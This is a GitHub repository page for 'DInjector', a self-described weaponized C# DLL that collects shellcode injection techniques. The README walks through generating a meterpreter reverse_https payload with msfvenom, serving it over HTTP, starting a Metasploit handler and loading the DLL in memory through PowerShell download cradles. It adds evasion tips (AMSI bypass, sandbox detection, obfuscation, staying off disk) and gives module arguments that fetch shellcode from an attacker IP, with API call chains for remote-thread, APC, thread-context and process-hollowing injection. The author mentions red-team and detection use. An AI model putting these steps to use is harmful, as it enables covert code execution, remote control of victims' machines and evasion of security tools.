snovvcrash / DInjector Public

Notifications Star 0 Fork 0

Code Issues Pull requests Actions Projects Wiki Security Insights

main 1 branch 0 tags Go to file Code

1 commit

Cradles	Add project files 🎉	9 hours ago
DInjector	Add project files 🎉	9 hours ago
.gitignore	Add project files 🎉	9 hours ago
LICENSE	Add project files 🎉	9 hours ago
README.md	Add project files 🎉	9 hours ago

README.md

DInjector

```
 (    (
 )\ ) )\ )                  )            (   (  (
(()/((()/(     (    (     ( /(    (        )\ ))\ )\
 /(_))/(_))(   )\  ))\ (  )\())(  )(      ((()/((_|(_)
(_))_(_))  )\ |(_)/((_))\(_))/ )\(()\      ((_))  _
 |   \_ _|_(_/( !(_)) ((_) |_ ((_)((_)     _| | || |
 | |) | || ' \)) / -_) _||  _/ _ \ '_|  _/ _` | || |
 |___/___|_||_|/ \___\__| \__\___/_|   (_)__,_|_||_|
            |__/-----------------------------------
                                      K E E P
                                      C A L M
                                        A N D
                                  D / I N 💉 E C T
                                  S H E L L C O D E
```

This repository is an accumulation of my code snippets for various **shellcode injection** techniques using fantastic D/Invoke API by @TheWover and @FuzzySecurity.

Based on my testings the DInvoke NuGet package itself is being flagged by many commercial AV/EDR solutions when incuded as an embedded resource via Costura.Fody (or similar approaches), so I recommend to modify it and include from source to achieve better opsec.

DInjector is not intended to be used for AV/EDR evasion out-of-the-box, but provides a bunch of weaponized examples to improve your generic tradecraft during the engagement and/or sharpen your detection rules to prevent this sort of shellcode execution.

Some tips how the driver Program can be enhanced (leaving it as an exercise for the reader):

- Use encrypted payloads which can be invoked from a URL or passed in Base64 as an argument.
- Add built-in AMSI bypass (a great example from @rasta-mouse is here).
- Add sandbox detection methods.

About

Collection of techniques for shellcode injection packed in a D/Invoke weaponized DLL

Readme

BSD-2-Clause License

Releases

No releases published

Packages

No packages published

Languages

C# 96.7% PowerShell 3.3%

- Protect the resulting assembly with ConfuserEx or similar tools.

Usage

Here is a basic example to get started.

1. Compile the project in Visual Studio.
2. Generate a shellcode for your favourite C2:

```
~$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 E
```

3. Serve `shellcode.bin` and start C2 listener:

```
~$ sudo python3 -m http.server 80
~$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpr
```

4. Use one of the PowerShell download cradles to load DInjector.dll as `System.Reflection.Assembly` and execute it from memory.

I **do not** recommend putting the assembly on disk because it will very likely be flagged.

Modules

Note: opsec safe considerations are based on my personal expirience and some testings along the way.

FunctionPointer

```
module_name: 'functionpointer'
arguments: |
  /sc:http://10.10.13.37/shellcode.bin
description: |
  Allocates a RWX memory region, copies the shellcode into it
  and executes it like a function.
calls:
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory'
opsec_safe: false
references:
  - 'http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/'
  - 'https://www.ired.team/offensive-security/code-injection-process-injection/loc
  - 'https://www.fergonez.net/post/shellcode-csharp'
```

FunctionPointerV2

```
module_name: 'functionpointerv2'
arguments: |
  /sc:http://10.10.13.37/shellcode.bin
description: |
  Sets RWX on a byte array and executes it like a function.
calls:
  - ntdll.dll:
    1: 'NtProtectVirtualMemory'
opsec_safe: false
references:
  - 'https://jhalon.github.io/utilizing-syscalls-in-csharp-1/'
  - 'https://jhalon.github.io/utilizing-syscalls-in-csharp-2/'
  - 'https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs'
```

CurrentThread

```
module_name: 'currentthread'
arguments: |
  /sc:http://10.10.13.37/shellcode.bin
```

```
description: |
  Injects shellcode into current process.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory'
    2: 'NtProtectVirtualMemory'
    3: 'NtCreateThreadEx'
    4: 'NtWaitForSingleObject'
opsec_safe: false
references:
  - 'https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs'
```

RemoteThread

```
module_name: 'remotethread'
arguments: |
  /sc:http://10.10.13.37/shellcode.bin /pid:1337
description: |
  Injects shellcode into an existing remote process.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtOpenProcess'
    2: 'NtAllocateVirtualMemory'
    3: 'NtWriteVirtualMemory'
    4: 'NtProtectVirtualMemory'
    5: 'NtCreateThreadEx'
opsec_safe: false
references:
  - 'https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersona
```

RemoteThreadAPC

```
module_name: 'remotethreadapc'
arguments: |
  /sc:http://10.10.13.37/shellcode.bin /image:C:\Windows\System32\svchost.exe
description: |
  Injects shellcode into a newly spawned remote process.
  Thread execution via NtQueueApcThread.
calls:
  - kernel32.dll:
    1: 'CreateProcess'
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory'
    2: 'NtWriteVirtualMemory'
    3: 'NtProtectVirtualMemory'
    4: 'NtOpenThread'
    5: 'NtQueueApcThread'
    6: 'NtAlertResumeThread'
opsec_safe: true
references:
  - 'https://rastamouse.me/exploring-process-injection-opsec-part-2/'
  - 'https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0'
```

RemoteThreadContext

```
module_name: 'remotethreadcontext'
arguments: |
  /sc:http://10.10.13.37/shellcode.bin /image:C:\Windows\System32\svchost.exe
description: |
  Injects shellcode into a newly spawned remote process.
  Thread execution via SetThreadContext.
calls:
  - kernel32.dll:
    1: 'CreateProcess'
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory'
    2: 'NtWriteVirtualMemory'
```

```
    3: 'NtProtectVirtualMemory'
    4: 'NtCreateThreadEx'
    5: 'GetThreadContext'
    6: 'SetThreadContext'
opsec_safe: true
references:
  - 'https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/'
  - 'https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Prog
```

ProcessHollow

```
module_name: 'processhollow'
arguments: |
  /sc:http://10.10.13.37/shellcode.bin /image:C:\Windows\System32\svchost.exe
description: |
  Injects shellcode into a newly spawned remote process.
  Thread execution via NtQueueApcThread.
calls:
  - kernel32.dll:
    1: 'CreateProcess'
  - ntdll.dll:
    1: 'NtQueryInformationProcess'
    2: 'NtReadVirtualMemory'
    3: 'NtProtectVirtualMemory'
    4: 'NtWriteVirtualMemory'
    5: 'NtResumeThread'
opsec_safe: false
references:
  - 'https://github.com/CCob/SharpBlock/blob/master/Program.cs'
```

Credits

- @TheWover and @FuzzySecurity for their awesome DInvoke project.
- All those great researchers mentioned in the modules references above.